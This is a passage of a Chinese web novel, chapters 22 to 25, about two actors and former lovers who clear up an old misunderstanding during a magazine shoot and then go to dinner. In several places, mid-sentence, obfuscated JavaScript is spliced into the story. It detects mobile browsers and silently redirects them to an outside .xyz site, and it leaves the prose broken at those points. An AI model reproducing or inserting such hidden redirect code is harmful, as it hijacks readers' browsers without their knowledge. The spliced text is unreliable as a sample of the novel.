秦祁扯出一抹笑，启唇还没来得及说什么，就听到化妆间门一响。 紧接着，一道好听的声音传来。 “说什么呢？”沈絮手上拎着个牛皮纸袋，大步走到梳妆台前，朝化妆师弯起眼笑了笑，随即把目光投向秦祁，“这么挂念我？” 小姑娘很有职业道德的没被某位捣乱的影帝影响，手上动作依旧很稳，只是耳朵稍微有点红。 而秦祁在化妆途中也不好张口，免得影响化妆师。 因此他只是越过化妆师的脸，与沈絮默默对视。 其实视线被挡了大半，但这也不妨碍秦祁看清沈絮今天的打扮。 这人今天穿了一个v领的白衬衫，下摆被扎进黑西裤里，掐出了沈絮劲瘦的腰身。 沈絮脖子上还缠了条配套的白丝巾，长长的，一头直直垂到大腿根处，随着他的动作摇曳。 最花枝招展的是，此人头顶还架着一副墨镜，深紫色的镜片给这一身黑白加了一抹亮色。 如同画龙点睛。 活生生一个花花公子。 花花公子笑得特别好看，对化妆间里的工作人员们说：“我临时调时间，真是麻烦大家。给大家准备了早餐，在外面放着，希望能抚平一点大家上班的怨气。” 也不知道在开什么屏，秦祁想。 直到化妆师轻轻退开去拿东西，秦祁这才有了说话自由。 他没有移开目光，就这么慢慢地回答沈絮几分钟前的问题。 他说：“是啊，一日不见，思之如狂。” 沈絮故作惊讶态，伸手掩唇。 “说话这么甜，”沈絮点点秦祁心口，“快喝点苦的盖盖吧。” 说着，把手里一直拎着的牛皮纸袋往秦祁怀里一放，转身去换衣服。 秦祁顿了顿，打开纸袋一看。 里面放着一杯冰美式和一个三明治。 三明治是鸡蛋肉松口味，加上咖啡，就是秦祁最爱的早餐搭配之一。 用了一晚上也没能下定决心再不跟沈絮玩推拉游戏的秦祁闭了闭眼。 他温柔缠绵又咬牙切齿地想—— 沈、絮。 22. 第 22 章 秦祁的妆造不多会就做得差不多了。 等沈絮换好衣服出来以后，此人就转移到一旁的小沙发上，一边细嚼慢咽地吃着早餐，一边盯着沈絮发呆。 十分钟过去，饶是沈絮身经百战，此刻也有些脸热。 “秦老师，”沈絮闭着眼睛，笑，“快收了神通吧，脸皮都要被你看破了。” 秦祁恍若惊醒，匆忙移开视线，却不知道能把目光安防在哪，只好四处乱瞟一通。 等再反应过来的时候，已经做好妆造的沈絮就已经站在沙发前，微微俯身看他了。 不得不说，杂志方今天给两人准备的服装很耐人寻味。 依旧是经典的黑白配。 秦祁一身黑衣，腰背处做了大胆的大片镂空，配上交织的金链和若隐若现的腹肌，将“性感”体现得淋漓尽致。 而一向穿衣以风骚大胆著称的沈絮，这次反而成了更为保守的那个。 一袭白衣将他全身上下包裹的严严实实，上衣做成了灯笼袖的设计，手腕处还系着一节长长的丝带，看起来飘飘欲仙。 只是衣领处的蕾丝设计，和胸口处恰到好处的镂空，隐隐约约地泄露了此人本性。 而真是不巧，秦祁此时所处的位置，一抬眼，正好就能望进那片镂空里，窥探那抹春色。 秦祁的喉结上下滚动一遭，有些手足无措。 沈絮见他又开始试图四处乱瞟，嘴角压抑不住地泄出几声低笑，胸膛也跟着起伏。 秦祁深吸一口气。 脸热不会消失，脸热只会转移。 “怎么不看了？” 沈絮挑挑眉，用鞋尖轻轻拨了下秦祁的脚。 刚刚不还看得很开心吗？ 目不转睛地盯了十分钟呢。 秦祁额角青筋欢快地蹦了几下。 秦祁忍无可忍地转回头来，将上身往沙发背上一靠，大大方方地扫了一圈沈絮。 笑话，沈絮都敢露了，他难道还能不敢看吗？ 这人什么样他没见过？ 小小镂空能奈我何？ 等慢悠悠地欣赏完了，秦祁这才直起身，凑到沈絮耳边。 “我昨天刚被科普了一个‘洗面奶’这词的新用法，今天竟然就对它有了深刻的理解，”秦祁说，“谢谢沈老师言传身教。” 沈絮眯起眼反应片刻，这才明白这厮刚刚在说什么。 ……年轻人奇思妙想真多。 沈絮莞尔，微微退开一些，看着秦祁的眼，摆着头逗他。 “秦老师，什么身份呀，就这样调戏我？” 短短一句话，被沈絮说得似嗔似怨。可那双桃花眼里又分明盛满了笑意，话中的语气又是那样缠绵。 然而秦祁的脸却微微僵了。 是啊，他有什么身份？ 真要论起来，他现在和沈絮的关系，只能算纠缠不清的前任。 连暧昧对象都算不上。 要真这么说，秦祁的“调戏”就是无礼到极致了。 可是，可是…… 秦祁想，可是，这又不是他要开始的。 五天的放置，五年前的冷暴力，一幕幕再次浮上心头。 这感觉就像猛吃一口过年的剩菜，看起来丰盛美味，实则一口下去，腻味全堵在喉头，咽不下，吐不出。 沈絮就看着这人本来生动的脸突然就冷了。 秦祁站起身来把他轻轻推开：“是我没分寸了。” 说完，目不斜视地就走了。 沈絮有些莫名，站在原地思忖片刻，也没得出答案。 “啧。” 沈絮推开化妆间门，跟着秦祁大步朝摄影棚去了。 ———— 杂志的拍摄称不上顺利。 这次给到沈絮秦祁的拍摄主题是“操纵”。 拍摄时的第一个姿势其实没有多复杂。 秦祁背对镜头站立，占据了画面的大半。而沈絮出镜的部分只有从秦祁的肩头露出半张脸，再加上环绕在秦祁近乎赤裸的腰背上的两条手臂。 但正是因为沈絮露出的双眼占据了构图最中心的位置，那深不可测的眼神会第一时间抓住观众的目光。 然后大家就会明白——原来在画面中占绝对主导地位的秦祁，也正处于这双桃花眼的操控下。 这不算一个多难懂的想法。 沈絮和秦祁在摄影师的指导下紧紧相拥——但事实上只有沈絮做到了“紧紧”。 沈絮很快理解了摄影师想要的感觉，调度出一个高高在上，又暗含嘲弄的眼神。 他放在秦祁后背的手臂乍一看极尽缠绵，可他的手掌却轻轻覆在了秦祁后颈处。 沈絮像是在安抚与自己相拥的爱侣，却更像在……把玩自己的所有物。 不得不说，沈絮在把握画面这一事上，简直是天赋异禀。 摄影师本来见他领悟得这么快，简直大喜过望。但拍了几张后，却意识到些不对劲。 “秦老师，”摄影师放下相机，说，“可以再放松点。” 几秒后，随着一阵悉悉索索的声音，沈絮感觉到那根虚虚环绕在自己腰侧的手臂终于切实地贴了上来。 虽然那具被沈絮拥抱着的躯体还是那么的僵硬。 又过了几秒，在秦祁刻意的放松下，他们在画面中看起来终于称得上“自然”了。 沈絮心头闪过一丝烦躁。 这种事情不受掌控的感觉，无论什么时候，都让沈絮心生厌恶。 但是…… 沈絮在秦祁怀里调了调位置，让自己抱得更舒服些。 算了，就当某人狂犬病不定时发作吧。 但等到第二张开始拍摄的时候，才是灾难真正的开始。 这张的姿势，让攻守之势颠倒。 此刻，背对镜头且占据大部分画面的人成了沈絮。 他的垂在身后的手上甚至还轻轻拎着一根银色细链。 链子的另一头，正铐在秦祁带着的项圈上。 但饶是如此，画面的支配权依然不在沈絮手上。 秦祁在他身侧单膝下跪，手臂圈住沈絮那把细腰，一把将人揽住。 他半侧着脸，手掌抚弄着沈絮腰的同时，手指上还缠绕着沈絮袖口处的丝带。 跟沈絮手中的细链比起来，丝带是那样柔软，那样不堪一击。 但就是这么一条小东西，瞬间掠夺了沈絮所有的主动权。 沈絮的手只能随秦祁的意愿而动。 ——当然这一切只是对画面最美好的构想。 理想很丰满，现实很操/蛋。 秦祁的肢体从头到尾都僵硬得不行，好像已经死了五天一样。 再加上此人的表情实在不自在，那种属于“支配”的从容完全没被体现出来。 摄影师多次提醒，多次调整，但最终都以失败告终。 “休息一下吧。”沈絮把链子轻轻丢进秦祁手心，再精准地一把把丝带从这厮手里扯出来，跟他拉开距离，朝工作人员点点头，“大家都辛苦了。” 摄影师无奈：“好的，两位老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796857|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师休整一下。” 秦祁站起身，在场外看着的小路连忙端着杯热水迎上来。 “哥，没事吧？” 看着小路有些担忧的目光，秦祁啜饮一口，摇了摇头。 刚想开口说些什么，就见靠在门口的沈絮遥遥一指他，紧接着冷着脸勾了两下手指。 秦祁：…… 三秒后，此人叹了口气，还是抬腿往那边去了。 走到沈絮旁边，秦祁这才发现没人跟着他。 “你助理呢？”秦祁问。 沈絮有些好笑：“我跟你讲话，还要助理在旁边听吗？” 怎么不见小路跟过来？ 秦祁自然不是这个意思，但也不好辩驳，摸摸鼻子，打算作罢。 但沈絮沉默两秒，还是在场内环视一圈，然后朝一个方向努努嘴。 秦祁顺着望去，就看到一个莫约二十三四的姑娘在给周围的工作人员发下午茶。 “她是……”秦祁觉得有些眼熟，犹豫道，“之前林时的那个小助理？” 那个被长时间职场霸凌的姑娘。 沈絮没否认，只说：“人家叫喻思雅。” “思雅，”秦祁点点头，“好名字。” “刚上任不久，”沈絮道，“能力很强的一个姑娘。” 说完，沈絮转身往外走去，勾手示意秦祁跟上。 两人就这么一路走到了化妆间。 “咔哒。” 秦祁听见声音，诧异回头。 “锁门做什么？” 沈絮无谓道：“防范于未然。” 说完，沈絮又往房间里走了一点，免得待会谈话声顺着门传出去。 秦祁在原地挣扎片刻，还是跟上去了。 等秦祁终于在身前站定，沈絮这才开口。 “看来我还没恶心到需要秦老师避而远之的地步。” 秦祁皱眉，面色颇为疑惑。 同时，一股无名的火气也在他心里暗暗烧了起来。 这个人总是这样，做什么他都有理，怎么样都是别人的错。 沈絮说：“不是吗？不然怎么我贴近点讲几句话，就让你接下来好半天连碰都不想碰我？” 要不是顾忌着还在工作，可能早蹦八百米远了吧？ 沈絮想着自己这五天的纠结，又想到今早起床的时候那种好像破釜沉舟，又好像如释重负的感觉。 他隐隐觉得自己有些好笑。 你好不容易下定决心讲点什么从未宣之于口的事情，结果对方根本不在意。 就好像人家只是随口一说，你竟然就当真了，还记在心里。 “秦祁，时冷时热的，是不是很有意思啊？” 秦祁都要听笑了。 什么叫贼喊捉贼？ 秦祁突然感觉有些厌倦，因为接下来的话又是旧事重提。 再提这些事，就像把已经吃了好多天的肉再回锅炒一遍端上来，不吃吧，觉得浪费，吃了呢，又腻得慌。 但他还是没忍住。 “沈絮，”秦祁说，“当初是你要分手的，现在又是你先来撩拨人的。我还没说什么呢，你先委屈上了……” “你有什么资格说这话啊？” 沈絮这个巧舌如簧的人，听了这话以后竟然足足沉默了十秒。 他一脸不可置信，伸出手指指着自己：“我要分手?” “颠倒黑白也要有个度，”沈絮此刻的表情简直是五天以来最生动的时候，他的眉毛都要飞起来，“当初明明是你要分手。” 23. 第 23 章 （结尾稍微修了一下，跟之前略有不同） 那是沈絮生日前的一周。 具体是因为什么吵起来的已经记不清了，但再怎么掰扯也不过就那么几个原因。 其实现在想来，那时的两人都已经嗅到了那抹关于感情的不妙气息。 在最后的那段时间里，秦祁的试探已经变得很少，措辞也一次比一次小心、一次比一次隐晦。 而沈絮也在尽力包容。 那段时间里，他总向秦祁问起那些没有他参与的岁月，就像秦祁希望的那样。 夜深人静，谈兴渐起的时候，沈絮嘴里也会吐露一丝半点他那些无关痛痒的过往。 他们都在努力地维持这段感情，假装它鲜活如初。 但一切都没有变好。 他们之间的争吵还是越来越多。 但又记不清多少次，激烈的争吵过后，他们都记不清是为了什么大动肝火。 或许是因为吵架的原因本就不重要，他们之间的问题根本就不出在那些小事上，他们只是想要找个理由宣泄情绪。 那天也是一样。 “我真是受够了。” “砰！” 秦祁最后的话语伴随着巨大的摔门声，一起为这场无厘头的怒火画下休止符。 同时也为又一场冷战拉开了序幕。 多么熟悉的流程。 但和之前好像又有些不一样。 日子离沈絮的生日越来越近。 秦祁看着自己设定的惊喜倒计时，感觉它就像死亡倒计时一样。 在倒计时上的数字变成“3”的时候，他终于忍无可忍。 “叮。” 凌晨三点，沈絮在沙发上，被消息提示音打扰，睁开了眼。 已是深夜，但沈絮眼底依旧一片清明。 他照例没有去拿手机，而是先去倒了半杯酒。 慢慢啜饮几口，沈絮这才划开了消息提醒。 ……然后看到了生日倒计时被取消的通知。 沈絮刚刚入口的酒忘了咽，就这么停留在口齿之间，灼烧着口腔内壁。 沈絮和秦祁的日历是共享的，为了方便两人调假出去约会。 或许秦祁取消的时候是忘记了，或许是他已经不在乎这个了。 直到这时，沈絮才慢慢吞下了那口在唇舌间滞留过久的酒。 被体温影响的酒液口感有些奇怪，咽下去也不痛快，反而平添几分折磨。 沈絮连忙再灌一口，希望压住那股令他想要呕吐的反胃感。 他冥冥中有股预感——或许这次，真的就是他们之间最后一次争吵了。 他们马上要得偿所愿，只是不是以他们所希望的方式。 ———— “……沈老师不在酒店吗？” 据秦祁所知，他们大吵一架后的第二天，沈絮就像个劳模一样到了剧组。 就好像被影响到情绪的只有秦祁一个人一样。 两天前删掉倒计时提醒的时候，秦祁也有想过，要不就这么算了。 如果就这么放过彼此，对他们来说会不会是件好事？ 但第一次品尝感情的人总是不会善罢甘休的。 秦祁想，这样一段轰轰烈烈的感情，凭什么要这么潦草收场？ 于是他飞速爬起来定了张机票，拎着亲手做的蛋糕就出了门。 在晚上九点，秦祁终于到达了剧组的酒店。 ——然后就被告知，沈絮今晚并没有回酒店。 秦祁微微皱眉，掏出手机打算给沈絮打个电话。 怎么这么晚还没回酒店，是有饭局吗？还是又出去办“私事”了？ 带着惊喜被强行削弱的不爽，秦祁胡思乱想着。 直到一条热搜弹窗弹出来，他胡乱琢磨的心终于不动了。 【沈絮深夜与人幽会，疑似因戏生情。】 秦祁僵在原地，明明身处室内，却无端得全身发冷。 过了好一会，他终于点进博文。 【今晚七点，沈絮和一女子共同出入酒店，举止亲密……】 啊，原来如此。 七点一起出去的话，现在回不来也是应该的。 ———— 太安静了。 沈絮一把放下酒杯，玻璃碰撞，发出清脆而刺耳的响声。 现在是11月22日的晚上十一点五十五分，沈絮的生日即将过去。 他今天收到了很多或真心或假意的生日祝福。 但唯独没有他最期待的那个。 其实在今天零点没收到卡点祝福的时候，沈絮就隐隐察觉到了些什么。 但或许是不到黄河心不死，他一整天都枯坐在公寓的沙发上，等待一条不过寥寥几字的信息。 等待时的空气都令人窒息，但沈絮竟然不太敢出门透气。 毕竟如果计划顺利进行，他和秦祁今天就应该在公寓里，相依偎着度过这特殊又平常的一天。 沈絮会在零点得到一句“生日快乐”，接下来的一天里，他会得到爱人亲手做的饭菜和蛋糕。 或许秦祁会把公寓里精心装扮一番，而沈絮或许会因为收拾起来太麻烦而想去阻止他。 晚饭后的时光可能是静谧的，他们会一起靠在沙发上，配着热可可看完一部老电影。 也可能意外突生，他们会受荷尔蒙的蛊惑，陷入情迷意乱的热潮之中。 但不管怎样，他们都会以相拥入眠来结束这一天。 想到这，沈絮又不免自嘲地笑了下。 其实按照现实来说，突然因为一点什么小事而大吵一架才是现在的他们可能做出来的事。 他们已经很久没有一起度过一段，长时的，从头到尾都平静而甜蜜的时光了。 人总是会美化自己没有走上的那条路。 但是，但是…… 沈絮拿起了手机，在晚上十一点五十八分拨打出了那通电话。 但是明明，他们现在应该还有走上那条路的机会。 不需要烛光晚餐和蛋糕，不需要精心的装扮，不需要激烈的情/事。 只需要一句很简单的，“生日快乐”。 “您好，您拨打的电话已关机……” 等到手机里的忙音也消失，沈絮终于愿意把手放下。 他抬头看钟，发现原来分针已经指到“12”。 现在是11月23日。 沈絮的生日结束了。 ———— “我要分手？”秦祁胸膛猛烈起伏几下，“我要是真这么想，为什么要巴巴地提着蛋糕上门？就这么腆着脸，最后还得知沈老师找新欢去了。” “可能是我犯贱吧。” 沈絮心想死小子这五年光去进修说瞎话的水平了是吧。 “你上的哪儿的门啊？我一整天都在公寓，脚都没踏出去一步，我怎么不知道你来了？” 至于新欢，那更是无稽之谈。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796858|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这一句话砸下来，秦祁也有些傻眼。 “……你那天在公寓？” 沈絮皱眉，问：“不然我该在哪？” 秦祁不语，只是掏出了手机开始一阵猛翻。 站了这么久，沈絮也实在有些累了，干脆到一旁的小沙发上坐下。 秦祁低着头跟上去，手上动作不停。 沈絮余光一瞟，坏心一起，突然就一个踉跄。 于是秦祁也马上跟着打了个跌，半斜着摔进了沙发里。 一抬头就见沈絮站直了身子，伸腿踢了踢他。 “去，给我倒杯水。” 秦祁看着沈絮隐隐约约上扬的嘴角，沉默了几秒，终于还是没忍住，别开头笑起来。 至此，房里的气氛终于有所缓和。 秦祁摇摇头，认命似的站起来往饮水机那儿去。 沈絮靠在沙发背上，仰头看天花板，掐了掐眉心。 沈絮还在组织语言，想着一会要怎么开口，就感觉自己的小腿被碰了碰。 坐起身来，就看见秦祁端着杯水站在沙发前。 沈絮刚伸手去接，这人就猛地往后撤一步，让沈絮的手落了空。 紧接着，秦祁掏出手机，把屏幕往沈絮眼前一亮。 屏幕上，赫然就是五年前那个热搜博文。 沈絮：？ 沈絮看着秦祁脸上的那“我看你还有什么好狡辩”几个大字，礼节性地怀疑了自己0.1秒并开始回忆。 三秒后。 沈絮：“这明明就是我生日半个月前的事，剧组聚餐，我当时还告诉过你的。” 秦祁：？ 沈絮：“你甚至不愿意打个电话问我一下。我给你打电话你也不接。” 死小子你要怎样啊你？ 秦祁质疑：“你什么时候给我打电话了？” 沈絮也不甘示弱，一分钟之内就把五年前那通未接通的通话记录给翻了出来。 秦祁看了眼时间，沉默了。 “……那时候我在飞机上。” 彼时他万念俱灰，想着主角都不在，自己留在剧组也没意思，于是就又买了机票连夜回去了。 或许是因为气愤，又或许是因为胆怯，当时的他连多留一个晚上的勇气都没有。 宁愿买廉航，宁愿坐经济舱，也一定要马上就走。 听到这个回答，沈絮也不免沉默了下。 片刻后，两人竟都觉得有些好笑。 原来就是这样小的一场乌龙，敲响了他们恋情的丧钟。 现在想来，难免可惜。仔细想想，却又不觉得意外。 此刻说开，倒也释怀。 沈絮接过秦祁再次递过来的水。一段话的功夫，刚刚还冒热气的水已经不那么烫人了，是正好能入口的温度。 沈絮挪开视线，一口一口地把杯子里的水喝完。 秦祁站得有些累，干脆就这么蹲下来，看似仰头盯着沈絮，实际上眼睛也没聚焦，不知道在想些什么。 等到沈絮终于清空了杯子，坐起身来，秦祁这才有了反应。 沈絮把杯子放到一旁，伸手轻轻拍拍秦祁脸颊。 “这回能好好拍了吗？” 秦祁张嘴想狡辩，但最后还是放弃嘴硬，乖乖点了两下头。 沈絮就笑：“快点拍完下班，我有事儿要和你说。” 秦祁好像预感到什么，呼吸都放轻了：“什么事？” “私事。” 24. 第 24 章 （上章末尾修了一下，增加了一点剧情，之前看过的宝宝可以回去再看一下。） 话也说开了，休息得也差不多了，两人整理下衣服，就这么重新回到摄影棚。 被一顿话疗解除了封印的秦祁就像被打通了任督二脉一样，飞快地进入了状态，把刚刚卡了半天壳的两个姿势轻松解决。 这样一来，需要拍摄的双人动作就只剩下最后一个。 但众所周知，最后出场的，向来也最难搞。 这个姿势的灵感来源于“傀儡”，需要在沈絮的手上绑上好几根白线充当傀儡丝。 因为杂志方也有想要拍些花絮的想法，这个绑线的任务就这么理所应当地被交到了秦祁手上。 秦祁作为一个常年混迹户外，精通各种绳结打法的人，此时看着面前沈絮伸出来的手，一时竟然有点手足无措。 “秦老师，再拉线就要断了。”沈絮叹了口气。 秦祁急忙低头，这才发现在自己无意识地反复拉拽折磨下，手里那本就纤细的白线果然已经一副要断不断的样子。 秦祁有些心虚：“……换一根吧。” 于是沈絮就收回手，托着腮看他手忙脚乱地又从线卷里拽出一长条白线，仔细比较后才小心翼翼地剪下来。 “悠着点，”沈絮边把手伸过去边说，“就那么一小卷线，不够你霍霍的。” 秦祁看着沈絮葱白似的手，突然又想起了不知道多久以前刷到的，沈絮粉丝的一些“胡言乱语”，没忍住偏头笑起来。 沈絮莫名其妙：“我的手长得很好笑？” 秦祁摇头，说：“我只是突然想起来，之前看到你粉丝说，亲你的手一口，就算是吃到小葱拌豆腐了。” 沈絮：？ “因为一口下去，既吃到了你葱白一样的手指，又吃到了你的豆腐。” 沈絮无语到极致，只好一笑而过。 难得在沈絮这儿占到口头便宜的秦祁信心大增，拉住沈絮的手就开始往他无名指指根上打结。 结果一连好几次，不是太松一拽就掉，就是太紧让沈絮皱眉喊疼，最后一次更是在秦祁一顿并不美学的暴力操作下，再次把线扯断了。 秦祁盯着断成两截，慢慢从他手指间飘落到地面的白线，低头默哀三秒。 沈絮手往前一勾，托着秦祁的下巴把他的头抬起来：“都跟你说了少跟网上学那些弱智语录，乱你道心。” 说完，沈絮用手指一戳秦祁眉心，险些把人戳个仰倒。 “秦老师，你前程不想，想钗裙。” 秦祁单膝跪地稳住身子，伸手握住沈絮三根手指，将沈絮的手轻轻拽过来。 接着，他低头，吻在沈絮手背。 “沈老师，”秦祁抬头笑，“这才叫乱我道心。” “……” 沈絮沉默一秒，用空闲的手飞快弹了秦祁一个脑瓜崩。 “妖道，”沈絮说，“剪你的线去。” 一番折腾后，秦祁终于在沈絮双手无名指指根、手腕、手肘处都绑好线。 此人在最后还跃跃欲试，想要在沈絮脖子上也绑一根，还好沈影帝眼神杀功力不减当年，再加上摄影师“绑上去画面不好看”的劝阻，秦祁这才作罢。 最后一个姿势的构思倒也简单。 秦祁站在一把红木圈椅后，手高高架起，手指间把控着全部的傀儡线。而沈絮则在红木圈椅上端坐着，被“操控”着，一手抚上自己的脖颈，另一只手则手心朝上地向前伸去，似乎在索要些什么。 然而看似身为傀儡主人的秦祁，却面无表情地直视镜头，眼神毫不聚焦。而作为傀儡的沈絮，嘴角倒扯出几分笑意，偏过头去，饶有趣味地打量着站在身后的秦祁。 谁操纵了谁，尚未可知。 不得不说，两人休息完回来后，状态简直比一开始好上千万倍，让摄影师都大为震惊。 这组照片的拍摄中，除了秦祁因为被沈絮盯的时间太长而控制不住地耳根通红以外，基本没出任何失误，十分顺利地就完成了任务。 双人部分完成后，两人又换衣服，高效地完成了单人页面的拍摄。 一切拍摄任务结束，接下来只需要再完成一段采访，就能正式宣告下班。 采访的问题和底稿两人之前都看过，所以坐在沙发上时并没有怎么感到紧张。 开始的第一个问题也比较温和。 “因为看到两位老师公布恋情的时候，大家的反应都是感觉不可思议。”主持人问，“所以想问一下，两位的感情大概是什么时候开始的呢？” 沈絮眼珠瞥向天花板，佯装回忆:“大概是在七年前……” 说完，他还用膝盖撞了撞秦祁的大腿，问：“对吧？” 秦祁点头：“是的，在我十八岁那年。” 沈絮跟着附和，几秒后却眉头一皱，感觉到几分不对劲。 “你在强调些什么？”沈絮转头，用手指隔空点了秦祁几下。 非要提什么十八岁，怎么，难道他当时就很老么？ 秦祁假装正经，矢口否认，直称沈絮想太多。 沈絮暗暗剜他一眼，把头转回去，看似放过秦祁，实则心里早已记下一笔。 主持人也被逗笑，接着问：“那么两位是谁追的谁呢？” 话音刚落，沈絮毫不犹豫地往旁边一指。 结果一看过去，就发现秦祁的手指在指他。 沈絮：？ 主持人拖长声音，“哦”了一声，问：“所以两位都认为是对方先追求的自己？” 两人同时摊手，示意“不然呢”。 看到对方这么自信，沈絮和秦祁莫名的胜负欲又起来了。 “我追的你？”沈絮问，“你确定吗，秦老师？难道不是你先给我表白的？” 秦祁不甘示弱：“但是是沈老师先撩我的吧？” 沈絮用手背盖住下半张脸，只留下一双弯弯的眼睛。 “撩你就算追你吗？” 秦祁深吸一口气，满脸受伤地倒在沙发上，双手捧心。 “好渣啊，沈老师，尽说些让人想去死的话。” 谈笑间，主持人问了第三个问题。 “两位的感情观是怎样的呢？觉得和对方合拍吗？” 这个问题把前面侃侃而谈的沈絮问的有些沉默了。 他沉思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14796859|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片刻，才慢慢开口。 “我的感情观……其实可以称得上自私，”沈絮第一次，在镜头前表露出斟酌措辞的样子，“在我十几岁以后，我一直觉得没有什么比让我自己开心更重要。如果一段感情已经不能再给我提供足够的情绪价值，那它就没有价值了，应该被果断结束。” 这一番话说得让主持人都不由得瞪大眼，连忙用眼神确认这句是否真的能被剪进去。 沈絮耸耸肩示意无所谓，而后就转过头开始盯着秦祁。 秦祁虽然在分手后就隐约有察觉到沈絮在感情方面的劣性根，但自己猜到和被对方直接点明是完全不一样的体会。 饶是早有预料，他的表情也不由得勉强了几分。 但注意到沈絮把目光投射到自己身上，秦祁还是吸了口气，调度出一个温和的表情去和他对视。 然后秦祁就不得不承认，沈絮此刻的眼神确实温柔得过分。 简直快要让人溺死在里面。 沈絮就这样看着他，过了好一会，才用放轻了一个度的声音开口。 “但直到我真的开始一段感情的时候，我才发现……想象和现实确实有很大差别。” 主持人追问：“这么说，沈老师是有过想要结束这段感情的念头，但后来又放弃了吗？” 沈絮终于把视线从秦祁身上挪开，他摇摇头，不再回应主持人的追问。 接下来的采访进行得依旧顺利，只有秦祁能感觉出沈絮有些心不在焉。 好不容易盼到结束，在场所有人眼里都流露出“终于下班了”的轻松。 秦祁和沈絮一起走进化妆间，刚进门就听见沈絮对小路说—— “先回吧路助，你老板我今天先拐走了。” 小路：“……啊？” 沈絮此人，安排完别人的助理，又转头对自家助理说：“思雅今天辛苦，你也可以下班了。” 喻思雅一听这话就开始收拾东西，还能腾出空问：“絮哥要跟秦老师去二人世界吗？” 沈絮说：“要去自由搏击。” 秦祁：“……这事我知道吗？” “无需在意。” 秦祁颇为无奈，但还是在小路凑过来询问时，示意对方可以走了。 等在化妆间卸完妆，换上便服，秦祁就靠在沙发边上问：“沈老板，要把我卖哪去啊？” 沈絮看看时间：“好久没请你吃过饭了。” 秦祁听这话，也不免有点恍惚。 沈絮确实是个爱吃的人，他不单爱吃，还相当会吃。 之前在一起的时候，沈絮经常带着秦祁去他又不知道什么时候发现的、藏在犄角旮旯里的神仙店去吃饭。 就连去旅游，此人也能在极短的时间内发现附近最好吃的几家店。 见秦祁点头，沈絮就伸手拉他起来。 “走吧，先去吃点好的。”沈絮说，“就当补偿你，上次爬山的时候，被毁掉一半的晚餐。” 秦祁借着沈絮的力站起身，看似不经意地问：“只是在美食上补偿吗？” 沈絮的手指在秦祁臂上轻点几下，接着后退半步。 他道：“看你表现。” 25. 第 25 章 时隔多年，秦祁又一次坐上了沈絮的副驾。 这人倒也真的放心，上了车就开始闭目养神，一点也不担心沈絮把他卖了。 或许是失眠加上高强度工作了一天，恍恍惚惚间，秦祁竟然真的睡着了。 完全昏睡过去前，此人脑子里还在不停抱怨。 嫌靠背太硬，嫌头无处安放，嫌腿伸展不开……总之样样都不满意。 只有车厢里那股若有若无的熟悉气味，让人感觉到难得的安宁。 就在这么一星半点的慰藉下，秦祁睡熟了。 在黑甜的梦乡中，秦祁隐约感觉到那股熟悉的气息慢慢靠近了自己。 紧接着，本来很将就地蜷缩着的身体突然就舒展了。 身体好像还被盖上了一层什么，本来若有若无地萦绕着他的冷意也消失了。 这让秦祁的睡眠质量直线上升。 只是那气味又远去时，他不由自主地皱起眉。 紧接着，他就似乎听到一声带着笑意的“啧”声。 但半秒后，秦祁就再次坠入了睡意的深海。 等到他好不容易从梦里挣扎着睁开眼时，就发现车早在不知道什么时候熄了火，安静地停在只有零星几点灯光的停车场里。 秦祁稍微撑起点身体，这才意识到副驾的座椅靠背已经被放平了，甚至还很贴心的把整个座位往后调了调，让他的双腿可以舒展开。 秦祁身上甚至还盖着一张薄毯，拎起来一角看看，发现居然还是老面孔。 是他们之前一起逛街的时候，买的无数情侣款之一。 “感动吗？” 秦祁看向沈絮：“嗯？” 沈絮就说：“这可是我今天出门的时候特意翻出来放车上的，怎么，不感动吗？” “真是爱死你这些诡计多端的小把戏了。”秦祁笑叹一声，伸手把座椅靠背调直。 秦祁一边把薄毯叠好，让它恢复成本来的靠枕模样，一边往车窗外看去。 “到了怎么不叫我？”秦祁眯起眼打量几下，语气中多了几分犹疑，“……你这是给我带哪来了？” “又不急，等你睡饱了再吃也不影响什么，”沈絮顺手接过秦祁递过来的靠枕，随手扔回后座，“免得你一会吃着吃着睡碗里。” 毕竟这事儿秦祁又不是没干过。 不过提起来沈絮倒也有些理亏。 那次是沈少爷又进行了一些不要命的熬夜运动，等他被阳光刺眼到终于抬眼看钟的时候，才发现居然已经六点多了。 然后再一回头，就跟突然醒过来结果发现旁边空空如也，果断出来抓人的秦祁对上了眼。 当时客厅里相当沉默。 沈絮的第一句话相当出人意料。 “来都来了……”沈少爷亮出了手机上刚好刷到的美食视频，“要不咱俩出门去吃个早餐再说？” 秦祁：……？ 秦祁当时其实根本没睡醒，他本意是想要赶紧把沈絮拽回被窝睡回笼觉的来着。 毕竟沈絮这个作息，真的让他很没有安全感…… 